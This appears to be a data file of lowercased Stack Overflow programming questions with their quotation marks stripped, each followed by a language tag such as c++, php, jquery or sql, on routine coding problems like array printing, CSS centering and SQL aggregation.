dynamic array print function  in this post    <a href= https://codereview.stackexchange.com/questions/5745/dynamic-array-improvements-0 >https://codereview.stackexchange.com/questions/5745/dynamic-array-improvements-0</a>    what does this mean   sorry if the question is vague..i just need to update my print_array function.  full code is below..for my poor man s dynamic array.      can someone tell me how the overloaed &lt;&lt; function works    <pre><code>// my current print array void print_array()  {      for (int i = 0; i &lt; size; i++) cout &lt;&lt; array[i] &lt;&lt; endl;  }  </code></pre>   if you are going to write print_array at least write it so that it can use alternative  stream (not just std::cout). then write the output operator.    // so user advice   <pre><code>std::ostream&amp; operator&lt;&lt;(std::ostream&amp; stream  dynamic_array const&amp; data) {     data.print_array(stream); // after you fix print_array     return stream; }     </code></pre>   // my dynamic array class   <pre><code>#include  c_arclib.cpp  template &lt;class t&gt; class dynamic_array { private:     t* array;     t* scratch; public:     int size;      dynamic_array(int sizein)     {           size=sizein;         array = new t[size]();     }      void print_array()     {           for (int i = 0; i &lt; size; i++) cout &lt;&lt; array[i] &lt;&lt; endl;     }      void merge_recurse(int left  int right)     {           if(right == left + 1)         {               return;         }         else         {               int i = 0;             int length = right - left;             int midpoint_distance = length/2;             int l = left  r = left + midpoint_distance;             merge_recurse(left  left + midpoint_distance);             merge_recurse(left + midpoint_distance  right);             for(i = 0; i &lt; length; i++)             {                   if((l &lt; (left + midpoint_distance)) &amp;&amp; (r == right || array[l] &gt; array[r]))                 {                       scratch[i] = array[l];                     l++;                 }                 else                 {                       scratch[i] = array[r];                     r++;                 }             }             for(i = left; i &lt; right; i++)             {                   array[i] = scratch[i - left];             }         }     }      int merge_sort()     {           scratch = new t[size]();         if(scratch != null)         {               merge_recurse(0  size);             return 1;         }         else         {               return 0;             }     }      void quick_recurse(int left  int right)     {           int l = left  r = right  tmp;         int pivot = array[(left + right) / 2];         while (l &lt;= r)         {               while (array[l] &lt; pivot)l++;             while (array[r] &gt; pivot)r--;             if (l &lt;= r)             {                   tmp = array[l];                 array[l] = array[r];                 array[r] = tmp;                 l++;                 r--;             }         }         if (left &lt; r)quick_recurse(left  r);         if (l &lt; right)quick_recurse(l  right);     }      void quick_sort()     {           quick_recurse(0 size);     }      void rand_to_array()     {           srand(time(null));         int* k;         for (k = array; k != array + size; ++k)         {               *k=rand();         }     } };  int main() {       dynamic_array&lt;int&gt; d1(10);     cout &lt;&lt; d1.size;     d1.print_array();     d1.rand_to_array();     d1.print_array();     d1.merge_sort();     d1.print_array(); } </code></pre>   ~ ~,c++
draw more objects in browser  i try to draw two images in the browser. i have this code fragment. but i only see one image   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;title&gt;cars&lt;/title&gt;     &lt;script src= https://code.jquery.com/jquery-2.1.0.js &gt;&lt;/script&gt;     &lt;script&gt;           $(document).ready(function () {              var car = function (x  y) {                 this.x = x;                 this.y = y;             };             var drawcar = function (car) {                 var carhtml = $( #carimage );                 var carelement = $(carhtml);                 carelement.css({                     position:  absolute                       left: car.x                      top: car.y                 });                 $( body ).append(carelement);             };              var tesla = new car(20  20);             var nissan = new car(100  200);              drawcar(tesla);             drawcar(nissan);                    });     &lt;/script&gt;  &lt;/head&gt; &lt;body&gt;      &lt;img src= _images/car.png  id= carimage  /&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   but i only see one image in the browser.    how to show two images     thank you    update post. i have changed the code. thank you    you mean like this. for the first way: but i only see one image then. so how to change the code  thank you. nice   <pre><code>&lt;script&gt;           $(document).ready(function () {                        var car = function (x  y) {                 this.x = x;                 this.y = y;             };             var drawcar = function (car) {                 //var carhtml = $( #carimage );                 var imgtag = $( &lt;img src= _images/car.png  id= carimage  /&gt; )                 imgtag.appendto( body );                   var carelement = $(carhtml);                 carelement.css({                     position:  absolute                       left: car.x                      top: car.y                 });                                //$( body ).append(carelement);             };              var tesla = new car(20  20);             var nissan = new car(100  200);                    drawcar(tesla);                 drawcar(nissan);                     });      &lt;/script&gt; </code></pre>,jquery
use directoryinfo on web server  i would like to list the files and folder on a remote web sever (http) using directoryinfo. i get an error when i do:    <pre><code> directoryinfo mydir = new directoryinfo(@ \\myservert\parantfolder\filesfolder );  fileinfo[] dirfiles = mydir.getfiles( *.txt ); </code></pre>   what am i doing wrong. would be grateful for every assistance.    thanks,.net
displaying var information  how would i go out about displaying this information so the colour codes would display the text correctly  this is just a small snippet but i couldn t seem to get it to work. i tried to make it an array but got stuck.   <pre><code>if($pclass ==  c1  or  c2  or  c3  or  c4  or  c5 ){   $pcolor =  &lt;font color= #0000ff &gt; ;   $pend =  &lt;/font&gt; ; } else {   if($pclass ==  w1  or  w2  or  w3  or  w4  or  w5 ){     $pcolor =  &lt;font color= #ff6600 &gt; ;     $pend =  &lt;/font&gt; ;   } else {     if($pclass ==  r1  or  r2  or  r3  or  r4  or  r5 ){       $pcolor =  &lt;font color= #00ff00 &gt; ;       $pend =  &lt;/font&gt; ;     } else {       if($pclass ==  h1  or  h2  or  h3  or  h4  or  h5 ){         $pcolor =  &lt;font color= #cc00cc &gt; ;         $pend =  &lt;/font&gt; ;       }     }  &gt; &lt;div id= top &gt; &lt;h1&gt;   &lt; php echo  $requestname ;  &gt; &lt;/h1&gt; &lt;p class= small &gt; &lt; php  echo  $player s primary class is $pcolor $pclass $pend ; echo    $player s secondary class is $sclass ; </code></pre>,php
looking for multiple strings from txt file with simple_html_dom  only displays last  i have a text file with 3 sentences from a url  two sentences are present. no matter what i do  this code always just shows the last variable from the textfile. it looks exactly as what we need  but we need it forevery word/sentence.    played for hours  cannot get it to work. who can point me in the right direction     [php]   <pre><code>$url =  http://www. .$_get[ u ]; // example.com/ ; $lines = file( all_claims.txt );  include_once( simple_html_dom.php );  function scraping_for_text($iurl $itext) {     // create html dom     $html = file_get_html($iurl);      // get text elements     $aobj = $html-&gt;find( text );     foreach ($aobj as $key=&gt;$sestring)     {       $plaintext = $sestring-&gt;plaintext;       if (stripos($plaintext $itext) !== false)       {          echo  &lt;b&gt; .$itext. &lt;/b&gt;&lt;br /&gt; ;          echo $key. : text= .$plaintext. &lt;br /&gt;                . --- parent tag= .$sestring-&gt;parent()-&gt;tag. &lt;br /&gt; ;       }      }      // clean up memory     $html-&gt;clear();     unset($html);      return; }  ini_set( user_agent    my-application/2.5 );  foreach($lines as $line) {     echo $line. &lt;br /&gt; ;     scraping_for_text($url $line); } </code></pre>   [/php]    i would really appreciate the help.    kk.,php
php: only showing 1 match when 2 exists  i have this:   <pre><code>$content = htmlspecialchars($show[ status ]); if (preg_match( #( &lt;=v=)[a-za-z0-9-]+( =&amp;)|( &lt;=[0-9]/)[^&amp;\n]+|( &lt;=v=)[^&amp;\n]+#   $content  $matches)) {   foreach(array_unique($matches) as $m) {  &gt;&lt;a id= &lt; php echo $m;  &gt;  data-id= &lt; php echo $id;  &gt;  class= fancybox_vid &gt;&lt;img src= images/icons/youtube.png  style= margin-right: 4px; &gt;&lt;/a&gt;&lt; php   } } echo $content; </code></pre>   right now if there exists 2 links in $content  it will only make  1 anchor+imageicon  but i want it to then make two anchor+imageicon  what is wrong and how can i fix this     i tried remove the array_unique  made no difference.,php
difference between drawimage and drawimageunscaled  the documentation is not really clear to me. used in certain ways  drawimage will do just the same as drawimageunscaled. why has drawimageunscaled been introduced,.net
void function c++ error this declaration has no storage class or type specifier  why there is an error this declaration has no storage class or type specifier at readfile     <pre><code>void readfile(ifstream &amp;in  std::map&lt;std::string std::set&lt;std::string&gt;&gt; &amp;m)  {     while(true)     {         std::string word;         in&gt;&gt;word;         if(!in.good())break;         m[signature(word)].insert(word);     } }  int main(){     std::ifstream in( ospd.txt );     std::map&lt;std::string  std::set&lt;std::string&gt;&gt; m;     readfile(in m); } </code></pre>   not sure whether the ifstream in (filename) is correct... any ideas     i found one of the mistake... there should be a std:: before ifstream. however  it still not work. any clue    <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include&lt;map&gt; #include&lt;set&gt; #include&lt;string&gt;   void swap(char &amp;ch1  char &amp;ch2){     char tmp=ch1;     ch1=ch2;     ch2=tmp; }  std::string tolower(std::string s){     for(int i=0;i &lt; s.length();i++)     {         if(s[i]&lt;= z  &amp;&amp; s[i]&gt;= a )         {             s[i]-= a - a ;         }     }     return s; }  std::string signature(std::string s) {     s=tolower(s);     for(int i=0;i&lt;s.length();i++)     {   int minindex=i;          for(int j=i+1;j&lt;s.length();j++)             if(s[j]&lt;s[minindex]) minindex=j;         swap(s[minindex] s[i]);     }     return s; }  void readfile(std::ifstream &amp;in  std::map&lt;std::string std::set&lt;std::string&gt;&gt; &amp;m) {     while(true)     {         std::string word;         in&gt;&gt;word;         if(!in.good())break;         m[signature(word)].insert(word);     } } typedef std::map&lt;std::string  std::set&lt;std::string&gt;&gt;::const_iterator mapiterator;  typedef std::set&lt;std::string&gt;::const_iterator setiterator;  int main(){     std::ifstream in( ospd.txt );     std::map&lt;std::string  std::set&lt;std::string&gt;&gt; m;     readfile(in m);   for (mapiterator iter = m.begin(); iter != m.end(); iter++) {     std::cout &lt;&lt;  key:   &lt;&lt; iter-&gt;first &lt;&lt; std::endl &lt;&lt;  values:  &lt;&lt; std::endl;      for (setiterator set_iter = iter-&gt;second.begin(); set_iter != iter-&gt;second.end(); set_iter++)         std::cout &lt;&lt;     &lt;&lt; *set_iter &lt;&lt;std:: endl; }      system( pause ); return 0;} </code></pre>,c++
sql reporting aggregates and joining issues  i am attempting to create a report for orders moving through the various actions on a weekly basis. could you guys help me out with it     the desired report (simple ...right):     <pre><code>week of     action 1  action 2  action 3   ----------  --------  --------  -------- 2011-11-07  34        55        35   2011-11-14  34        55        35 </code></pre>   and here is what i have tried so far  all of which have been miserable failures:   <pre><code>create table workorderhistory ( workorderhistoryid int  --pk workorderactionid int  datecompleted datetime )  create table workorderaction ( workorderactionid int --pk )  declare @startdate datetime  @enddate datetime  @seasonid int;  set @seasonid = 16; select @startdate =   2011-09-01   @enddate = isnull((select top 1 startdate from season where seasonid &gt; @seasonid)  getdate()) -- end date will be set to the current date if no season exists beyond the current  --method 3 inner joins. this fails because of my attempt to join on the weekof alias to the dateadd function select dateadd(week  datediff(week   19000101   woh.datecompleted)   19000101 ) as weekof  artworkcapture.wosprocessed as artworkcapture from workorderhistory woh (nolock) inner join workorderaction woa (nolock) on woh.workorderactionid = woa.workorderactionid inner join (select count (*) as wosprocessed  dateadd(week  datediff(week   19000101   woh.datecompleted)   19000101 ) as weekof from workorderhistory woh (nolock) inner join workorderaction woa (nolock) on woh.workorderactionid = woa.workorderactionid where woh.datecompleted &gt;= @startdate and woh.datecompleted &lt; @enddate and woh.workorderactionid = 1 --artwork capture group by dateadd(week  datediff(week   19000101   woh.datecompleted)   19000101 )) artworkcapture on woh.weekof = artworkcapture.weekof where woh.datecompleted &gt;= @startdate and woh.datecompleted &lt; @enddate group by dateadd(week  datediff(week   19000101   woh.datecompleted)   19000101 ) order by dateadd(week  datediff(week   19000101   woh.datecompleted)   19000101 )  --method 2 subqueries. i can not figure out how to properly form this query. select dateadd(week  datediff(week   19000101   woh.datecompleted)   19000101 ) as weekof  (select count (*) from workorderhistory woh (nolock) inner join workorderaction woa (nolock) on woh.workorderactionid = woa.workorderactionid where woh.datecompleted &gt;= @startdate and woh.datecompleted &lt; @enddate and woh.workorderactionid = 1 --artwork capture group by dateadd(week  datediff(week   19000101   woh.datecompleted)   19000101 )) as artworkcapture  (select count (*) from workorderhistory woh (nolock) inner join workorderaction woa (nolock) on woh.workorderactionid = woa.workorderactionid where woh.datecompleted &gt;= @startdate and woh.datecompleted &lt; @enddate and woh.workorderactionid = 3 --art entry group by dateadd(week  datediff(week   19000101   woh.datecompleted)   19000101 )) as artentry from workorderhistory woh (nolock) inner join workorderaction woa (nolock) on woh.workorderactionid = woa.workorderactionid where woh.datecompleted &gt;= @startdate and woh.datecompleted &lt; @enddate group by dateadd(week  datediff(week   19000101   woh.datecompleted)   19000101 ) order by dateadd(week  datediff(week   19000101   woh.datecompleted)   19000101 )  --this query gives me all of the data i need but it is not aggregated  so there is a record for each action per week so [2011-11-07 - 1 - 34]  [2011-11-14 - 1 - 34]  [2011-11-07 - 2 - 55]  [2011-11-14 - 1 - 55]. select dateadd(week  datediff(week   19000101   woh.datecompleted)   19000101 ) as weekof  woa.workorderactionid  count (*) as workordersprocessed from workorderhistory woh (nolock) inner join workorderaction woa (nolock) on woh.workorderactionid = woa.workorderactionid where woh.datecompleted &gt;= @startdate and woh.datecompleted &lt; @enddate group by dateadd(week  datediff(week   19000101   woh.datecompleted)   19000101 )  woa.workorderactionid order by dateadd(week  datediff(week   19000101   woh.datecompleted)   19000101 )  woa.workorderactionid </code></pre>,sql
how backwards compatible are new ios sdk features  if the sdk adds new features  will these things work on the older devices   if the api gets new methods  does the compiler handle these new methods to get to some internal native code  or will the new features added not be able to be used on devices not running the new os,ios
how to put the correct data type into function for byte_t *data   i am developing for ble send/receive data. i have some issue for data type change.    the type of the ble send data function is like the following:   <pre><code>typedef unsigned char byte_t;                   /* generic 8 bit container.   */ static void sppledataindicationevent(deviceinfo_t *deviceinfo  unsigned int datalength  byte_t *data) </code></pre>   i add a char array and set the data like the following:   <pre><code>#define reservedcode                                   0x01 #define sensor_typecode                                0xea static byte_t         *sensordata; sensordata[0]=reservedcode;              sensordata[1]=reservedcode;            sensordata[2]=sensor_typecode;       sensordata[3]=sensor_typecode;               sensordata[4]=sensor_typecode;              </code></pre>   and i have try the following   but it seems did not working. the ble app did not receive any data. (i am sure the <code>deviceinfo</code> is no problem here.)   <pre><code>sppledataindicationevent(deviceinfo  sizeof(sensordata)  sensordata); </code></pre>   how to put the correct data into <strong>sppledataindicationevent</strong> function,c
weird characters on screen after submit with <asp:fileupload>  when i submit my form everything works fine until i add:   <pre><code>&lt;asp:fileupload&gt;&lt;/asp:fileupload&gt; </code></pre>   with a fileupload controller in the form everything on the webpage becomes weird characters and squares.    what s going on  the second i remove fileupload everything works fine when i submit the form.,.net
lightweight implementation of textview with links   is there any lightweight implementation of text with links (highlighted text associated with a uri which a user can click on) on ios  webview would be too complicated. and i don t want to be using three20 either.,iphone
error in gridview on android  i have a question about gridview   <pre><code>public class mygribview extends baseadapter(){ ... ...  public view getview(int position  view convertview  viewgroup parent) {     imageview imgview;     imgview=(imageview)convertview;      bitmap bm = bitmapfactory.decodefile(filepath[position]);     log.d( filepath  filepath[position]+  );      imgview.setimagebitmap(bm);      return imgview; } } </code></pre>   i got all image on external android to array string filepath[] (link image) ok  but have a problem at line <code>imgview.setimagebitmap(bm)</code>. how can i fix it,android
how can i match string value to arraylist<delivery.address> value in java   how can i match string value to <code>arraylist&lt;deliveryarea.address&gt;</code> value in java     i have an <code>arraylist&lt;deliveryarea.address&gt;</code> and <code>string</code> value. i fetched both the value. but when i was apply condition value are not match.    <code>deliveryarea</code> class:   <pre><code>import com.google.gson.annotations.serializedname;  import java.util.list;  public class deliveryarea {     @serializedname( deliveryarearesult )      public list&lt;address&gt; address;      public class address{          @serializedname( restaurant_delivery_area )         public string name;          @override         public string tostring() {             return string.format( %s    name);         }      } } </code></pre>   condition is   <pre><code>string uservalue = locality.gettext().tostring(); log.i( ll   uservalue);  for (int c = 0; c &lt; ff.size(); c++) {     log.i( ll      + ff.get(c));     if(uservalue.equals(ff.get(c))) {         system.out.println( sucess );     }     else{         system.out.println( sucessq );     } } </code></pre>   fetch <code>arraylist</code> value is...   <pre><code>ff = new arraylist&lt;deliveryarea.address&gt;(); ff = deliveryarea.address; log.i( sunder123ererrer    +ff); </code></pre>,java
arkit resuming session  i have an arkit app which allows the user to add a cube to the scene. this works fine and i can see the cube. but when i push the app to the background and then move the device to another location (by walking to a different room) then arkit session is unable to determine the correct position of my old nodes.     is there anyway i can find a workaround this problem so that when the app is resumed from coming to foreground from the background then it still remembers the position of the nodes.     update: i am looking into saving the lat and long for the user and then somehow converting those lat and long to scnvector3 to put the node.,ios
loading jquery asyncronously  my google analytics is supposed to load asynchronously. i am not sure really what this means:   <pre><code>&lt;script type= text/javascript &gt;         var _gaq = _gaq || [];         _gaq.push([ _setaccount    xxx ]);         _gaq.push([ _trackpageview ]);          (function () {             var ga = document.createelement( script ); ga.type =  text/javascript ; ga.async = true;             ga.src = ( https:  == document.location.protocol    https://ssl  :  http://www ) +  .google-analytics.com/ga.js ;             var s = document.getelementsbytagname( script )[0]; s.parentnode.insertbefore(ga  s);         })();     &lt;/script&gt; </code></pre>   i don t need jquery to be available immediately. is there a way i can also make this asynchronous,jquery
absolute position element within centered div  i have a div that is centered using auto margins. it is 900px wide. i have a login button that i want to position above it  i can t figure out how to do the left and right so it stays in a constant place relative to the div. i want it just inside the right edge of the div.,css
php caching question  i recently worked on a project on .net and part of the code involved reading the header and footer from a pre-defined format for consistency across various websites shared by the same client.    i am faced by a similar problem in php. i get the contents of the header/footer links using:   <pre><code>&lt; php $contents = file_get_contents( http://www.mysite.com/common/footer.asp ); echo $contents;  &gt; </code></pre>   is there a way i can load this into cache to avoid repeated calls to <a href= http://www.mysite.com/common/footer.asp  rel= nofollow >http://www.mysite.com/common/footer.asp</a>    cheers,php
parsing xml for iphone  can i parse my xml in this method   <blockquote>    blockquote  </blockquote>  <pre><code>- (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath { </code></pre>   // here some instance of xmlparser    }   <blockquote>    blockquote  </blockquote>   like whenevrr uer press table cell then for detail view i want to pull data at that time only and for that specfic only as i have 8k data so i dont want to parse other data,iphone
not able to run video from server on ios 4.1  i have been trying to run a video from my app in ios 4.1 but haven t met with success. material everywhere give code for ios 3.2 but not for the higher versions. please help   i would be grateful to you. this is my code below:   <pre><code>-(ibaction)pressbutton:(id)sender {       nsstring *urlstring =        [nsstring stringwithformat:@ http://www.itc.virginia.edu/network/videotest/when-sm.mov ];      mpmovieplayercontroller *movieplayer =        [[mpmovieplayercontroller alloc]initwithcontenturl:urlstring];     movieplayer.scalingmode = mpmoviescalingmodeaspectfill;      [movieplayer play];      mpmovieplayerviewcontroller *movieviewplayer =        [[mpmovieplayerviewcontroller alloc]initwithcontenturl:urlstring];       [self presentmovieplayerviewcontrolleranimated:movieviewplayer];  }    </code></pre>,iphone
couldn t read data because it is in incorrect format  i have converted nsmutable data into string but i want this data into dictionary. for 8 days i ve tried to solve this but i m stuck on this.    i got the following response from the server:   <blockquote>    .&lt;227b5c22 50617274c 222c5c22 436f6e73 756c7461 6e745c22 2c5c2243 6f756e73 656c5c22 2c5c2243 50415c22 2c5c224c 656e6465 725c225d 7d22>  </blockquote>   then i had convert this data into string using utf8 encoding like this.   <pre><code>optional( \ {\\\ aaa\\\ :[\\\ bbb\\\  \\\ ccc ddd\\\  \\\ eee\\\  \\\ fff \\\ ggg\\\ ]}\  ) </code></pre>   but after that i m unable to convert it into dictionary.,ios
"how to line up/indent this text evenly   <a href= https://i.stack.imgur.com/amgg8.png  rel= nofollow noreferrer >pic of uneven text</a>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>   &lt;img src= https://maxcdn.icons8.com/ios7/png/25/business/pricing_structure-25.png  title= pricing structure  width= 25  style= margin-right: 8px &gt;
 choose ones of our packages or build your own. choose ones of our packages or build your own. &lt;a href= pricing.html &gt;view pricing.&lt;/a&gt;</code></pre>
 </div>
 </div>",html
how can i create a newline in a rich textbox for c#   i am making an application that displays some useful tags for html. the problem is  i want to make each tag and use have its own line. however  nothing seems to be working. i have tried environment.newline and i have also tried \n\n but neither of those do anything. i ve looked everywhere for an answer but i haven t gotten any. any help would be appreciated.,c#
testing chars and ints within a char variable  i m having trouble finding out how to set up a loop where i enter input and then stop the input by pressing  e  or  e . the input entered is integers but needs to be stopped with a character. that is where i get lost. i have seen a bunch of information about using ascii conversions but i dont know how efficient that would be. this code is broken but it is as far as i could get. any information would be helpful.   <pre><code>int main(void) {     char num;     int sub;      while (sub !=  e  || sub !=  e ) {         scanf( %d   &amp;num);         sub = &amp;num;         printf( %d   num);     }      return 0; } </code></pre>,c
two divs side-by-side  there are two divs in my html code and they are not nested. i want to display the images in these divs side-by-side. first div on the left and the second on the right.,html
set intltelinput with country code  i do this to set select with <code>intltelinput</code> jquery plugin:   <pre><code>var dropdown = $( .phone-number-country ); var telinput = $( .phone-number-input ); var initcountry =  us ;  telinput.intltelinput({     allowdropdown: false      initialcountry:  us  });  var initialcountry = telinput.intltelinput( getselectedcountrydata ).iso2; //us countrydropdown.val(initialcountry); // united states with value us will be selected </code></pre>   now the selected country  iso code and country code are united states  us and 1. i want to set the dropdown with no iso code (for the example <code>us</code>)  but with phone/country code. for the example <code>1</code> or <code>+1</code> for us. or if this is not possible may be i will need to get iso code with phone/country code.,javascript
converting canvas to drawable <pre><code>int x = 10;  int y = 10;  int r = 4;  paint mpaint = new paint();  mpaint.setcolor(0xff0000);  canvas mcanvas = new canvas();  mcanvas.drawcircle(x y r mpaint);  </code></pre>   is there any way to convert <code>mcanvas</code> to a drawable  my goal is to generate drawables with a certain shape and color.    thanks,android
why password field gets empty on click of back and forward on browser  we have a login/ registration form. i filled all the fields username  first name  last name and password.     now i clicked on back button from browser and again clicked on forward. all information is there except password field.    password field gets empty. i know its a default property of password field but i need the reason.     can anyone help on this.     thanks.,html
how to center without taking into account a floated element   in styling a page  suppose i have an element that i want to float:right  and before it i have an inline element i want to horizontally center <strong>without regard to the floated element.</strong>  i can only get it to center between the floated element and the margin; i want it to ignore the floated element and center in its container.   <pre><code>&lt;div class= container &gt;     &lt;span class= headline &gt;this needs centering&lt;/span&gt;     &lt;span class= corner-tag &gt;without regard to this&lt;span&gt; &lt;/div&gt; </code></pre>   with my first try of styles:   <pre><code>.container {text-align: center; }  .corner-tag {     border: 1px solid black;     float: right;  } </code></pre>   here s the fiddle:    <a href= http://jsfiddle.net/szal/6zgbw/  rel= nofollow >http://jsfiddle.net/szal/6zgbw/</a>    can i modify the styles without modifying the markup to achieve this,css
adding asp.net code before doctype  is this valid to do  i have asp.net code right before the !doctype html tag and it s throwing internet explorer into quirks mode...can this code be added right after the doctype and still work just fine    <pre><code>&lt;%@ page language= c#  autoeventwireup= true  codebehind= index.aspx.cs  inherits= somepage.index  %&gt;  &lt;!doctype html&gt; </code></pre>,html
can i combine jquery selectors for more than one element   i have the following starting html:   <pre><code>&lt;div id= modal  &gt;&lt;div class= modal-window &gt; &lt;ul class= action-tabs right &gt; &lt;li&gt;&lt;a href= #  title= close window &gt; &lt;img src= /content/images/icons/fugue/cross-circle.png  width= 16  height= 16 &gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;div class= block-content &gt;&lt;h1&gt;xx&lt;/h1&gt; &lt;div class= modal-content&gt; ... &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   from suggestions here i have the following jquery code:   <pre><code>$modal     .find( .modal-content )     .wrap( &lt;form id= modal-form &gt; ) $modal     .find( #modal-form )     .find( button )     .filter(function () {         return $(this).text().tolowercase().indexof( submit ) != -1;     })     .prop( type    submit ); </code></pre>   what i need to do is to find the first occurence (there s actually one ever one) of the class .modal-content. i then need to wrap this in <code>&lt;form id= xxx &gt;&lt;/form&gt; </code>.    next i need to look within the form  find all the buttons with text submit and change them to be of type  submit .     i think the above code will do that but i am wondering if i could make it simpler. also i have suggestions for a few different ways to do the .wrap. these suggestions were:   <pre><code>$( .modal-content ).wrap( &lt;form id= xxx  /&gt; ); $( .modal-content ).wrap( &lt;form id= xx &gt;&lt;/form&gt; ); $(  .modal-content  ).wrapall(  &lt;form /&gt;  ); </code></pre>   would they all be correct to use,jquery
learn python the hard way - exercise 36 function problems  i m learning to code through learn python the hard way  and i ve recently gotten stuck for the first time. for this exercise we re supposed to write our own game. i did so  but for some reason whenever i run it the right_room() function exits after i put in an answer  instead of proceeding to the next room. any help would be greatly appreciated. here s my code:    <pre><code>from sys import exit  def bear_room():     print  you are in a room with a bear.      print  you have two choices. left or right       next = raw_input( &gt;  )      if next ==  left :         left_room()     elif next ==  right :         right_room()     else:         print  no idea what that means...   def left_room():     print  you went left.      print  there are two doors. right or straight      next = raw_input( &gt;  )      if next ==  right :         bear_room()     elif next ==  straight :         second_left()     else:         print  what are you saying  bro    def second_left():     print  you went straight.      print  you again have two choices. straight or right       next = raw_input( &gt;  )      if next ==  straight :         print  you won! congrats.          exit(0)     elif next ==  right :         dead( you opened the door and walked off a cliff. goodbye! )     else:         print  i didn t quite catch that.   def right_room():     print  you went right.      print  there are two doors. straight or right       next == raw_input( &gt;  )      if next ==  right :         dead( oops  a tiger just ate you )     elif next ==  straight :         second_right()     else:          what ! ! !   def second_right():     print  you went straight      print  nice choice.      print  you have two choices: left or straight      next == raw_input( &gt;  )      if next ==  left :         dead( you just fell 1 million feet to your death. )     elif next ==  straight :         print  you made it out alive!          exit(0)     else:          wtf    def dead(reason):     print reason   good job!      exit(0)  def start():     print  you are about to enter a room.      bear_room()  start() </code></pre>,python
why am i getting null on this code   this is a part of my source (when i enter a button) of my jdilog form. i have made an object from the <code>systemmanagement</code> class which is management (i have written also some part of this class). when the user add her/his information  with the <code>addstudent()</code> method in <code>systemmanagement</code> class i add her/his information to the student s list but when i write    <pre><code>system.out.println(management.getfield());  </code></pre>   it will return null! why    <pre><code> private void submit() {     string name = namefield.gettext();     string family = familyfield.gettext();     string ye =  (string) yearcombobox.getselecteditem();     string ci = (string) citycombobox.getselecteditem();     string fi = (string) fieldcombobox.getselecteditem();     if (ye == null) {         joptionpane.showmessagedialog(this   you haven t chosen the year of entrance    error   joptionpane.error_message);         return;     }     if (ci == null) {         joptionpane.showmessagedialog(this   you have not set the city    error   joptionpane.error_message);         return;     }     if (fi == null) {         joptionpane.showmessagedialog(this    you have not set the field    error   joptionpane.error_message);         return;     }     if (name.equals(  )) {         joptionpane.showmessagedialog(this   you have not set your name     error   joptionpane.error_message);         return;     }     if (family.equals(  )) {         joptionpane.showmessagedialog(this    you have not set the family    error    joptionpane.error_message);         return;     }     management.addstudent(name  family  ye ci  fi);     system.out.println(management.getfield());     joptionpane.showmessagedialog(this  management.tostring()    registered successefully   joptionpane.information_message);     clear();  }  public class systemmanagement implements serializable {  private string sitename; private list&lt;fields&gt; fields; private list&lt;professors&gt; professors; private list&lt;students&gt; students; private list&lt;lessons&gt; lessons; public professors pro; public lessons les;   public systemmanagement(string sitename) {     this.sitename = sitename;     professors = new arraylist&lt;professors&gt;();     students = new arraylist&lt;students&gt;();     lessons = new arraylist&lt;lessons&gt;();     fields = new arraylist&lt;fields&gt;(); }  public list&lt;fields&gt; getfields() {     return fields; }  public void setfield(string field) {     this.field = field; }  public string getfield() {     return field; }   public void addstudent(string name  string family  string yearofentrance  string city  string field) {     students student = new students(name  family  yearofentrance  city  field);     students.add(student);  } </code></pre>,java
"button under the other html <ul>  here is my code :    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;ul&gt;
   &lt;li&gt;
     &lt;small style= margin-left:2px; &gt;john: &lt;/small&gt;
     &lt;button class= btn btn-default btn-sm &gt;c&lt;/button&gt;
   &lt;/li&gt;
   &lt;li&gt;
     &lt;small style= margin-left:2px; &gt;eva: &lt;/small&gt;
     &lt;button class= btn btn-default btn-sm &gt;b&lt;/button&gt;
   &lt;/li&gt;
   &lt;li&gt;
     &lt;small style= margin-left:2px; &gt;michael: &lt;/small&gt;
     &lt;button class= btn btn-default btn-sm &gt;a&lt;/button&gt;
   &lt;/li&gt;
   &lt;li&gt;
     &lt;small style= margin-left:2px; &gt;error: &lt;/small&gt;
     &lt;button class= btn btn-default btn-sm &gt;c&lt;/button&gt;
   &lt;/li&gt;
   &lt;li&gt;
     &lt;small style= margin-left:2px; &gt;asd: &lt;/small&gt;
     &lt;button class= btn btn-default btn-sm &gt;c&lt;/button&gt;
   &lt;/li&gt;
 &lt;/ul&gt;</code></pre>
 </div>
 </div>
     i want to show the buttons one under the other  like when i style the buttons with <code>margin-left</code>  but i can t do it with every button  because in original code there are many more.    so is there a solution for <code>&lt;ul&gt;&lt;li&gt;&lt;/li&gt;&lt;/ul&gt;</code>      plunker : <a href= http://plnkr.co/edit/eeluk6fa60jeco2lvtko p=preview  rel= nofollow noreferrer >http://plnkr.co/edit/eeluk6fa60jeco2lvtko p=preview</a>",html
making a button background outline disappear after few seconds  the effect im after is the following: the button doesn t look like a button (ie border: none) and when clicked i want the focus outline to fade out after n seconds.  how can i achieve that   thanks,css
angular - push object to list of objects  i m getting some list of data from database  with angular i m adding it to scope.  so on $scope i have list of objects   <pre><code>[object  object  object  object]    </code></pre>   where each looks like:   <pre><code>0:  1  1:  this is my first task  2:  1  3:  1  $$hashkey:  object:3  active:  1  id:  1  priority:  1  text:  this is my first task  </code></pre>   i basicly try to add new object to it  with something like:        <pre><code>$scope.tasks.push($scope.newtask); </code></pre>   but this add just string / array not an object  i already tryed to add multiple other way to add object like    <pre><code>$scope.tasks.push( text : $scope.newtask); </code></pre>   but i can t make it work  please may i ask you for help to lead on correct way,angularjs
how to order query for searching where value = or is like  i have a query that searches for stock numbers based on a user s input. i am trying to find the top 5 items that most closely match the input. if a stock number matches exactly  show that item first.   <pre><code>  select   id  stock   from `store_items`   where stock =  $query  or stock like  %$query%  limit 5 </code></pre>   so  if in my database i have the following stock # s:   <pre><code>mc-10 mc-11 mc-12 mc-100 mc-102 mc-103 </code></pre>   and i search for <code>mc-10</code>  the exact result should show first  followed by other matches that it is like:   <pre><code>mc-10 mc-100 mc-102 mc-103 </code></pre>   how do i do the <code>order by</code> part of this query to make that happen,mysql
